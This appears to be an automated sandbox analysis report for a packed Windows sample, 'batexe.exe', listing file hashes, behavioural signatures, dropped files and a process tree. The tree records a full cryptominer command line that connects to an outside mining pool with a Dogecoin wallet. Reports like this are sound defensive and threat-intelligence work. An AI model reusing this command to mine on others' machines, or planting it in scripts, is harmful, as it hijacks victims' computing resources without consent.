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Analysis

  • max time kernel
    293s
  • max time network
    295s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-ja
  • resource tags

    arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
  • submitted
    12/02/2024, 13:07

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2580
    • C:\Users\Admin\AppData\Local\Temp\8FDC.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\8FDC.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\8FDC.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:5012
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\91A1.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4288
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:1276

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\8FDC.tmp\b2e.exe

    Filesize

    3.1MB

    MD5

    d267a907581bdc51a2f7175e1bd4c6fa

    SHA1

    b21837d20f42b5cf1ac310b0811c76b8ef041659

    SHA256

    b79a8a130dba8d18e44ff8c5102435d8f9dcc66c17244af5b43e76dd91371a4d

    SHA512

    99c529e2ce4c55d02d5e4c4c9a2f90f429d7a7d7578e1381303234a4335f4f21a4245260bde3f2e270085fa13697d800e6d6dbc9969812b88931274576dbaef8

  • C:\Users\Admin\AppData\Local\Temp\8FDC.tmp\b2e.exe

    Filesize

    3.4MB

    MD5

    1379d0bfe563f2d8467dded41bd83815

    SHA1

    b063ec1bdaa5a4cc65de92b97d7eb4d8e90b27c8

    SHA256

    03c55c1d06ac254d1ffaca78f6db24a219e5a761fc8b00b5d4bd9468a9b09c74

    SHA512

    57e48178e16b763c30dccb14af0d8d1b6a73d5389e89dd44021cbc60e3de05cba679ff14c360c0a2e0db2b88b87c7c1506964b544a02f2dd42acbff8b9796e9f

  • C:\Users\Admin\AppData\Local\Temp\91A1.tmp\batchfile.bat

    Filesize

    136B

    MD5

    8ea7ac72a10251ecfb42ef4a88bd330a

    SHA1

    c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

    SHA256

    65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

    SHA512

    a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    799KB

    MD5

    6b1d16bfa136ef0ff5892cc795dffcba

    SHA1

    206090342e1c43959892e44195f2f96340a32441

    SHA256

    c62605ec9007a1d843a115cad1d2473afdcbd2f8b5e58bff2bfd063edebd68b1

    SHA512

    f9e80f99b48768301f57462a1dbf9b3d45a76f82c2161d9dee33c9e3a6b949a1e13395b392c9bf642aac7ee29052aac974af7bf930880806b94cde439a486632

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    951KB

    MD5

    4775a1d63fe1bd0c7a81c84457091d4d

    SHA1

    4f4b2dbf7f31219e7f0dbc269d3150580cb5400d

    SHA256

    dc1d64d7cac7c9061df28730f60d445bebea61903ccaea3b0b1c2696547720bb

    SHA512

    92b39d87281f9cdb655c120ca60201291d1f2c0ab7719573c83968def78b612e8d12ef071f9d4d20c09453e8f3c677b0c70770564a847bb0f715ac9c354009fd

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    795KB

    MD5

    3de558240a803a16b1ef5dc4409f5789

    SHA1

    d6c55481cd18423d923227c9ed6dfe470a12d804

    SHA256

    09fb18408a67427f94841371872f614595713893140dea139d1ec092bc76c92f

    SHA512

    d622ff3aa7fe86ddacf3146e77c403330eb096fc785f785606cc250c1882d84a2e696f72a0ef0961ec919807579c506b82f249db20839257c3a32460de1f8c37

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    903KB

    MD5

    b37472c269e8e3a118f82ba874f2136c

    SHA1

    1e3f01ac21cfe64cda42d3ac51d7f0ae29b0916b

    SHA256

    652b8928395f6ef5e8f8df3fae5c11cfd24d72ce40916fe68af3a61877ef23ba

    SHA512

    5a1bb0801d9477448c004f4d8449a0102a5a84d8b3f4f0e145d05ea9ebbcf152cf83b4c5786d7d6abe39bbc2599a50578c5db8577f7197110c926610d222e6ce

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    740KB

    MD5

    5d48fea0e32930739332961be5fd3f53

    SHA1

    85e42404aff96cc0498bfc6e931bedb31db7a5ca

    SHA256

    2655a5a55e3c5d621ea829fd4a4d1d5725bf00f1737429dc323143590d1e07b9

    SHA512

    251b7bf7a3034edebe34d969f64f39b06a15bc9f5c5eeb8c94ee62790da4fa940b3dcd8c41a866733fdfafa73c3e2115394001cb76421f59c3f26826deb79dff

  • \Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    836KB

    MD5

    aeab40ed9a8e627ea7cefc1f5cf9bf7a

    SHA1

    5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

    SHA256

    218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

    SHA512

    c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

  • \Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    808KB

    MD5

    db13a6951d2c05e75036211be00e62e3

    SHA1

    299e3a0840019aaec7ceb297f18ff294fe9657c8

    SHA256

    03dc9b5c658a285d314b6d1c169033ee10f9a08576214ffae2b51868f1d796de

    SHA512

    cf402d0bc735e43cff3d8f48ef0fc3fb425e4e13c958ad396badc47c859fe723b5bee29cb708ddb8ecd9383d02202d25b7c42577da170a74eddc689d35a5271a

  • \Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    958KB

    MD5

    5db5b8654a42beb313810af353c4901a

    SHA1

    76ef66c780592deea2f0fd11fa377c52bc76073a

    SHA256

    c4ae4e6a7419467d4480a4553804e965549f511646f3e9fd91cf76cf2bcca164

    SHA512

    b86f6e654695ebaae7ad8647470fe89eebd24448bde5dba8650a45292a46bf67f540cf8b4058eece176ad64d768f1f4a9492baf92b217fa04552062d13c88847

  • \Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    1.0MB

    MD5

    51e87ddfb0f7e57d90a1ae7e60bc3c8d

    SHA1

    a339a44b75949f0c925ddfe838e2120c42988a78

    SHA256

    65919faa79e507db8a3e8246d521829456c8adf25c31c3a4285cccedb8983b2f

    SHA512

    3cea02c31efc6cf8d0a29853b884296185858ed5022b1415d2eb22f8ed2c419ab418053e95c26c56ea58c1cb89a2f8293877c8f5bf0e2b7ed913a7b001919bb5

  • \Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    606KB

    MD5

    585efec1bc1d4d916a4402c9875dff75

    SHA1

    d209613666ccac9d0ddab29a3bc59aa00a0968fa

    SHA256

    2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

    SHA512

    b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

  • memory/1276-71-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1276-61-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1276-40-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1276-41-0x0000000070800000-0x00000000708BC000-memory.dmp

    Filesize

    752KB

  • memory/1276-42-0x000000005C0D0000-0x000000005C168000-memory.dmp

    Filesize

    608KB

  • memory/1276-43-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/1276-44-0x0000000001150000-0x0000000002A05000-memory.dmp

    Filesize

    24.7MB

  • memory/1276-101-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1276-51-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1276-96-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1276-63-0x000000005C0D0000-0x000000005C168000-memory.dmp

    Filesize

    608KB

  • memory/1276-64-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/1276-91-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1276-76-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1276-81-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2580-4-0x0000000000400000-0x000000000393A000-memory.dmp

    Filesize

    53.2MB

  • memory/5012-6-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/5012-50-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB